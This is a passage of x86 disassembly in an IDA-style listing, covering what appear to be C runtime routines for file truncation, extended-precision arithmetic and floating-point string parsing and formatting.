[ebp+arg_0] loc_42514B: ; CODE XREF: sub_4250B2+ABj push 0 push edi call sub_41BF70 add esp, 0Ch loc_425156: ; CODE XREF: sub_4250B2+7Ej ; sub_4250B2+87j mov eax, edi loc_425158: ; CODE XREF: sub_4250B2+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_42515C: ; CODE XREF: sub_4250B2+69j push esi jmp short loc_42514B ; --------------------------------------------------------------------------- loc_42515F: ; CODE XREF: sub_4250B2+92j xor eax, eax jmp short loc_425158 sub_4250B2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4241E3 loc_425163: ; CODE XREF: sub_4241E3+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DD020, esi jle short loc_4251B6 loc_425172: ; CODE XREF: sub_4241E3+FD1j mov eax, dword_4DC01C mov eax, [eax+esi*4] test eax, eax jz short loc_4251AD test byte ptr [eax+0Ch], 83h jz short loc_425191 push eax call sub_41BA3B cmp eax, 0FFFFFFFFh pop ecx jz short loc_425191 inc edi loc_425191: ; CODE XREF: sub_4241E3+F9Fj ; sub_4241E3+FABj cmp esi, 14h jl short loc_4251AD mov eax, dword_4DC01C push dword ptr [eax+esi*4] call sub_41BA91 mov eax, dword_4DC01C pop ecx and dword ptr [eax+esi*4], 0 loc_4251AD: ; CODE XREF: sub_4241E3+F99j ; sub_4241E3+FB1j inc esi cmp esi, dword_4DD020 jl short loc_425172 loc_4251B6: ; CODE XREF: sub_4241E3+F8Dj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4241E3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251BB proc near ; CODE XREF: sub_42423B+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41C500 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DD140 jnb loc_4252F0 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DD040[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_4252F0 push 1 push esi push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_4252FA push 2 push esi push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_4252FA push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_42529D push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41BF70 loc_425240: ; DATA XREF: ___:off_438CB8o push 8000h push ebx call sub_425D78 add esp, 14h mov [ebp+arg_4], eax loc_425251: ; CODE XREF: sub_4251BB+BDj mov eax, 1000h cmp edi, eax jge short loc_42525C mov eax, edi loc_42525C: ; CODE XREF: sub_4251BB+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_4230FB add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_42527A sub edi, eax test edi, edi jle short loc_425290 jmp short loc_425251 ; --------------------------------------------------------------------------- loc_42527A: ; CODE XREF: sub_4251BB+B5j cmp dword_4DBDE0, 5 jnz short loc_42528D mov dword_4DBDDC, 0Dh loc_42528D: ; CODE XREF: sub_4251BB+C6j or esi, 0FFFFFFFFh loc_425290: ; CODE XREF: sub_4251BB+BBj push [ebp+arg_4] push ebx call sub_425D78 pop ecx pop ecx jmp short loc_4252DD ; --------------------------------------------------------------------------- loc_42529D: ; CODE XREF: sub_4251BB+71j jge short loc_4252DD push 0 push [ebp+arg_4] push ebx call sub_422F09 push ebx call sub_4240AA add esp, 10h push eax nop call near ptr 2600000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_4252DD mov dword_4DBDDC, 0Dh nop call near ptr 2680972h mov dword_4DBDE0, eax loc_4252DD: ; CODE XREF: sub_4251BB+E0j ; sub_4251BB:loc_42529Dj ... push 0 push [ebp+arg_0] push ebx call sub_422F09 add esp, 0Ch mov eax, esi pop edi jmp short loc_4252FD ; --------------------------------------------------------------------------- loc_4252F0: ; CODE XREF: sub_4251BB+1Aj ; sub_4251BB+36j mov dword_4DBDDC, 9 loc_4252FA: ; CODE XREF: sub_4251BB+4Ej ; sub_4251BB+63j or eax, 0FFFFFFFFh loc_4252FD: ; CODE XREF: sub_4251BB+133j pop esi pop ebx leave retn sub_4251BB endp ; =============== S U B R O U T I N E ======================================= sub_425301 proc near ; CODE XREF: sub_4249DF+2Bp ; sub_4249DF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425317 cmp ecx, esi jnb short loc_42531A loc_425317: ; CODE XREF: sub_425301+10j push 1 pop eax loc_42531A: ; CODE XREF: sub_425301+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425301 endp ; =============== S U B R O U T I N E ======================================= sub_425322 proc near ; CODE XREF: sub_4253DB+40p ; sub_4253DB+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425354 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425354 inc dword ptr [esi+8] loc_425354: ; CODE XREF: sub_425322+19j ; sub_425322+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425301 add esp, 0Ch test eax, eax jz short loc_42536C inc dword ptr [esi+8] loc_42536C: ; CODE XREF: sub_425322+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425301 add esp, 0Ch pop edi pop esi retn sub_425322 endp ; =============== S U B R O U T I N E ======================================= sub_425380 proc near ; CODE XREF: sub_4253DB+30p ; sub_4253DB+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_425380 endp ; =============== S U B R O U T I N E ======================================= sub_4253AE proc near ; CODE XREF: sub_425973+1C8p ; sub_425DEE+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4253AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4253DB proc near ; CODE XREF: sub_4254A2+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42544F push edi mov [ebp+arg_8], eax loc_425402: ; CODE XREF: sub_4253DB+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_425380 push ebx call sub_425380 lea eax, [ebp+var_10] push eax push ebx call sub_425322 push ebx call sub_425380 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425322 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425402 xor edx, edx pop edi loc_42544F: ; CODE XREF: sub_4253DB+21j ; sub_4253DB+9Fj cmp [ebx+8], edx jnz short loc_42547C mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42544F ; --------------------------------------------------------------------------- loc_42547C: ; CODE XREF: sub_4253DB+77j mov esi, 8000h loc_425481: ; CODE XREF: sub_4253DB+B9j test [ebx+8], esi jnz short loc_425496 push ebx call sub_425380 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_425481 ; --------------------------------------------------------------------------- loc_425496: ; CODE XREF: sub_4253DB+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_4253DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4254A2 proc near ; CODE XREF: sub_424D28+17p ; sub_424D55+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_4254DD: ; CODE XREF: sub_4254A2+52j mov cl, [edi] cmp cl, 20h jz short loc_4254F3 cmp cl, 9 jz short loc_4254F3 cmp cl, 0Ah jz short loc_4254F3 cmp cl, 0Dh jnz short loc_4254F6 loc_4254F3: ; CODE XREF: sub_4254A2+40j ; sub_4254A2+45j ... inc edi jmp short loc_4254DD ; --------------------------------------------------------------------------- loc_4254F6: ; CODE XREF: sub_4254A2+4Fj push 4 pop esi loc_4254F9: ; CODE XREF: sub_4254A2+AEj ; sub_4254A2+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_42577C ; default ; jumptable 00425505 case 10 jmp off_425943[eax*4] ; switch jump loc_42550C: ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 0 jl short loc_42551D cmp bl, 39h jg short loc_42551D loc_425516: ; CODE XREF: sub_4254A2+C4j ; sub_4254A2+118j push 3 jmp loc_42573A ; --------------------------------------------------------------------------- loc_42551D: ; CODE XREF: sub_4254A2+6Dj ; sub_4254A2+72j cmp bl, byte_43D088 jnz short loc_42552C loc_425525: ; CODE XREF: sub_4254A2+124j push 5 jmp loc_425772 ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4254A2+81j movsx eax, bl sub eax, 2Bh jz short loc_425552 dec eax dec eax jz short loc_425546 sub eax, 3 jnz loc_425815 jmp loc_4255D5 ; --------------------------------------------------------------------------- loc_425546: ; CODE XREF: sub_4254A2+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_4254F9 ; --------------------------------------------------------------------------- loc_425552: ; CODE XREF: sub_4254A2+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_4254F9 ; --------------------------------------------------------------------------- loc_42555B: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 1 mov [ebp+var_10], edx jl short loc_425568 cmp bl, 39h jle short loc_425516 loc_425568: ; CODE XREF: sub_4254A2+BFj cmp bl, byte_43D088 jz loc_425630 cmp bl, 2Bh jz short loc_4255AA cmp bl, 2Dh jz short loc_4255AA cmp bl, 30h jz short loc_4255D5 loc_425583: ; CODE XREF: sub_4254A2+207j cmp bl, 43h jle loc_425815 cmp bl, 45h jle short loc_4255A3 cmp bl, 63h jle loc_425815 cmp bl, 65h jg loc_425815 loc_4255A3: ; CODE XREF: sub_4254A2+EDj push 6 jmp loc_425772 ; --------------------------------------------------------------------------- loc_4255AA: ; CODE XREF: sub_4254A2+D5j ; sub_4254A2+DAj ... dec edi push 0Bh jmp loc_425772 ; --------------------------------------------------------------------------- loc_4255B2: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 2 jl short loc_4255C0 cmp bl, 39h jle loc_425516 loc_4255C0: ; CODE XREF: sub_4254A2+113j cmp bl, byte_43D088 jz loc_425525 cmp bl, 30h jnz loc_42578A loc_4255D5: ; CODE XREF: sub_4254A2+9Fj ; sub_4254A2+DFj mov eax, edx jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_4255DC: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o mov [ebp+var_10], edx ; jumptable 00425505 case 3 loc_4255DF: ; CODE XREF: sub_4254A2+184j cmp dword_43D084, edx jle short loc_4255F8 movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_425606 ; --------------------------------------------------------------------------- loc_4255F8: ; CODE XREF: sub_4254A2+143j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425606: ; CODE XREF: sub_4254A2+154j test eax, eax jz short loc_425628 cmp [ebp+var_4], 19h jnb short loc_425620 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425623 ; --------------------------------------------------------------------------- loc_425620: ; CODE XREF: sub_4254A2+16Cj inc [ebp+var_8] loc_425623: ; CODE XREF: sub_4254A2+17Cj mov bl, [edi] inc edi jmp short loc_4255DF ; --------------------------------------------------------------------------- loc_425628: ; CODE XREF: sub_4254A2+166j cmp bl, byte_43D088 jnz short loc_425697 loc_425630: ; CODE XREF: sub_4254A2+CCj mov eax, esi jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425637: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp [ebp+var_4], 0 ; jumptable 00425505 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_425650 loc_425643: ; CODE XREF: sub_4254A2+1ACj cmp bl, 30h jnz short loc_425650 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425643 ; --------------------------------------------------------------------------- loc_425650: ; CODE XREF: sub_4254A2+19Fj ; sub_4254A2+1A4j ... cmp dword_43D084, edx jle short loc_425669 movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425669: ; CODE XREF: sub_4254A2+1B4j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425677: ; CODE XREF: sub_4254A2+1C5j test eax, eax jz short loc_425697 cmp [ebp+var_4], 19h jnb short loc_425692 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_425692: ; CODE XREF: sub_4254A2+1DDj mov bl, [edi] inc edi jmp short loc_425650 ; --------------------------------------------------------------------------- loc_425697: ; CODE XREF: sub_4254A2+18Cj ; sub_4254A2+1D7j cmp bl, 2Bh jz loc_4255AA cmp bl, 2Dh jz loc_4255AA jmp loc_425583 ; --------------------------------------------------------------------------- loc_4256AE: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp dword_43D084, edx ; jumptable 00425505 case 5 mov [ebp+var_24], edx jle short loc_4256CA movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_4256D8 ; --------------------------------------------------------------------------- loc_4256CA: ; CODE XREF: sub_4254A2+215j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4256D8: ; CODE XREF: sub_4254A2+226j test eax, eax jz loc_42578A mov eax, esi jmp short loc_42573B ; --------------------------------------------------------------------------- loc_4256E4: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o lea ecx, [edi-2] ; jumptable 00425505 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_4256F4 cmp bl, 39h jle short loc_425738 loc_4256F4: ; CODE XREF: sub_4254A2+24Bj movsx eax, bl sub eax, 2Bh jz short loc_425770 dec eax dec eax jz short loc_425764 sub eax, 3 jnz loc_425818 loc_425709: ; CODE XREF: sub_4254A2+2A4j push 8 jmp short loc_425772 ; --------------------------------------------------------------------------- loc_42570D: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o mov [ebp+var_20], edx ; jumptable 00425505 case 8 loc_425710: ; CODE XREF: sub_4254A2+276j cmp bl, 30h jnz short loc_42571A mov bl, [edi] inc edi jmp short loc_425710 ; --------------------------------------------------------------------------- loc_42571A: ; CODE XREF: sub_4254A2+271j cmp bl, 31h jl loc_425815 cmp bl, 39h jg loc_425815 jmp short loc_425738 ; --------------------------------------------------------------------------- loc_42572E: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 7 jl short loc_425741 cmp bl, 39h jg short loc_425741 loc_425738: ; CODE XREF: sub_4254A2+250j ; sub_4254A2+28Aj push 9 loc_42573A: ; CODE XREF: sub_4254A2+76j pop eax loc_42573B: ; CODE XREF: sub_4254A2+240j dec edi jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425741: ; CODE XREF: sub_4254A2+28Fj ; sub_4254A2+294j cmp bl, 30h jnz short loc_42578A jmp short loc_425709 ; --------------------------------------------------------------------------- loc_425748: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp [ebp+arg_18], 0 ; jumptable 00425505 case 11 jz short loc_425778 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_425770 dec eax dec eax jnz loc_425818 loc_425764: ; CODE XREF: sub_4254A2+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425770: ; CODE XREF: sub_4254A2+258j ; sub_4254A2+2B8j push 7 loc_425772: ; CODE XREF: sub_4254A2+85j ; sub_4254A2+103j ... pop eax jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425778: ; CODE XREF: sub_4254A2+2AAj push 0Ah dec edi pop eax loc_42577C: ; CODE XREF: sub_4254A2+5Dj ; sub_4254A2+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425505 case 10 jz loc_42581A jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_42578A: ; CODE XREF: sub_4254A2+12Dj ; sub_4254A2+238j ... mov edi, [ebp+arg_8] jmp loc_42581A ; --------------------------------------------------------------------------- loc_425792: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o mov [ebp+var_20], 1 ; jumptable 00425505 case 9 xor esi, esi loc_42579B: ; CODE XREF: sub_4254A2+339j cmp dword_43D084, 1 jle short loc_4257B3 movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_4257C2 ; --------------------------------------------------------------------------- loc_4257B3: ; CODE XREF: sub_4254A2+300j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4257C2: ; CODE XREF: sub_4254A2+30Fj test eax, eax jz short loc_4257E2 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_4257DD mov bl, [edi] inc edi jmp short loc_42579B ; --------------------------------------------------------------------------- loc_4257DD: ; CODE XREF: sub_4254A2+334j mov esi, 1451h loc_4257E2: ; CODE XREF: sub_4254A2+322j mov [ebp+var_1C], esi loc_4257E5: ; CODE XREF: sub_4254A2+371j cmp dword_43D084, 1 jle short loc_4257FD movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_42580C ; --------------------------------------------------------------------------- loc_4257FD: ; CODE XREF: sub_4254A2+34Aj mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42580C: ; CODE XREF: sub_4254A2+359j test eax, eax jz short loc_425815 mov bl, [edi] inc edi jmp short loc_4257E5 ; --------------------------------------------------------------------------- loc_425815: ; CODE XREF: sub_4254A2+99j ; sub_4254A2+E4j ... dec edi jmp short loc_42581A ; --------------------------------------------------------------------------- loc_425818: ; CODE XREF: sub_4254A2+261j ; sub_4254A2+2BCj mov edi, ecx loc_42581A: ; CODE XREF: sub_4254A2+2DDj ; sub_4254A2+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425902 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425846 cmp [ebp+var_45], 5 jl short loc_42583A inc [ebp+var_45] loc_42583A: ; CODE XREF: sub_4254A2+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425849 ; --------------------------------------------------------------------------- loc_425846: ; CODE XREF: sub_4254A2+38Dj mov eax, [ebp+var_C] loc_425849: ; CODE XREF: sub_4254A2+3A2j cmp [ebp+var_4], 0 jbe loc_4258F8 loc_425853: ; CODE XREF: sub_4254A2+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_425861 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_425853 ; --------------------------------------------------------------------------- loc_425861: ; CODE XREF: sub_4254A2+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_4253DB mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_425880 neg eax loc_425880: ; CODE XREF: sub_4254A2+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_42588B add eax, [ebp+arg_10] loc_42588B: ; CODE XREF: sub_4254A2+3E4j cmp [ebp+var_24], ecx jnz short loc_425893 sub eax, [ebp+arg_14] loc_425893: ; CODE XREF: sub_4254A2+3ECj cmp eax, 1450h jle short loc_4258CA mov [ebp+var_2C], 1 loc_4258A1: ; CODE XREF: sub_4254A2+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4258AD: ; CODE XREF: sub_4254A2+454j ; sub_4254A2+45Ej cmp [ebp+var_2C], 0 jz short loc_425913 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425928 ; --------------------------------------------------------------------------- loc_4258CA: ; CODE XREF: sub_4254A2+3F6j cmp eax, 0FFFFEBB0h jge short loc_4258DA mov [ebp+var_30], 1 jmp short loc_4258A1 ; --------------------------------------------------------------------------- loc_4258DA: ; CODE XREF: sub_4254A2+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_42600E mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4258AD ; --------------------------------------------------------------------------- loc_4258F8: ; CODE XREF: sub_4254A2+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4258AD ; --------------------------------------------------------------------------- loc_425902: ; CODE XREF: sub_4254A2+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425928 ; --------------------------------------------------------------------------- loc_425913: ; CODE XREF: sub_4254A2+40Fj cmp [ebp+var_30], 0 jz short loc_425928 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425928: ; CODE XREF: sub_4254A2+426j ; sub_4254A2+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4254A2 endp ; --------------------------------------------------------------------------- off_425943 dd offset loc_42550C ; DATA XREF: sub_4254A2+63r dd offset loc_42555B ; jump table for switch statement dd offset loc_4255B2 dd offset loc_4255DC dd offset loc_425637 dd offset loc_4256AE dd offset loc_4256E4 dd offset loc_42572E dd offset loc_42570D dd offset loc_425792 dd offset loc_42577C dd offset loc_425748 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425973 proc near ; CODE XREF: sub_424DF9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_4259D5 mov byte ptr [ebx+2], 2Dh jmp short loc_4259D9 ; --------------------------------------------------------------------------- loc_4259D5: ; CODE XREF: sub_425973+5Aj mov byte ptr [ebx+2], 20h loc_4259D9: ; CODE XREF: sub_425973+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_4259FF test edi, edi jnz short loc_4259FF cmp [ebp+arg_0], edi jnz short loc_4259FF loc_4259EA: ; CODE XREF: sub_425973+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_425BFD ; --------------------------------------------------------------------------- loc_4259FF: ; CODE XREF: sub_425973+6Cj ; sub_425973+70j ... cmp dx, si jnz short loc_425A7E mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425A18 cmp [ebp+arg_0], 0 jz short loc_425A27 loc_425A18: ; CODE XREF: sub_425973+9Dj test edi, 40000000h jnz short loc_425A27 push offset a1Snan ; "1#SNAN" jmp short loc_425A6D ; --------------------------------------------------------------------------- loc_425A27: ; CODE XREF: sub_425973+A3j ; sub_425973+ABj test cx, cx jz short loc_425A41 cmp edi, 0C0000000h jnz short loc_425A41 cmp [ebp+arg_0], 0 jnz short loc_425A68 push offset a1Ind ; "1#IND" jmp short loc_425A50 ; --------------------------------------------------------------------------- loc_425A41: ; CODE XREF: sub_425973+B7j ; sub_425973+BFj cmp edi, eax jnz short loc_425A68 cmp [ebp+arg_0], 0 jnz short loc_425A68 push offset a1Inf ; "1#INF" loc_425A50: ; CODE XREF: sub_425973+CCj lea eax, [ebx+4] push eax call sub_41C890 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_425A5F: ; CODE XREF: sub_425973+109j and [ebp+var_4], 0 jmp loc_425BD6 ; --------------------------------------------------------------------------- loc_425A68: ; CODE XREF: sub_425973+C5j ; sub_425973+D0j ... push offset a1Qnan ; "1#QNAN" loc_425A6D: ; CODE XREF: sub_425973+B2j lea eax, [ebx+4] push eax call sub_41C890 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_425A5F ; --------------------------------------------------------------------------- loc_425A7E: ; CODE XREF: sub_425973+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_42600E add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_425ADF lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425DEE pop ecx pop ecx loc_425ADF: ; CODE XREF: sub_425973+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425AF9 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_425AFC jmp loc_4259EA ; --------------------------------------------------------------------------- loc_425AF9: ; CODE XREF: sub_425973+173j mov edi, [ebp+arg_C] loc_425AFC: ; CODE XREF: sub_425973+17Fj cmp edi, 15h jle short loc_425B04 push 15h pop edi loc_425B04: ; CODE XREF: sub_425973+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425B1A: ; CODE XREF: sub_425973+1B4j lea eax, [ebp+var_10] push eax call sub_425380 dec [ebp+arg_14] pop ecx jnz short loc_425B1A test esi, esi 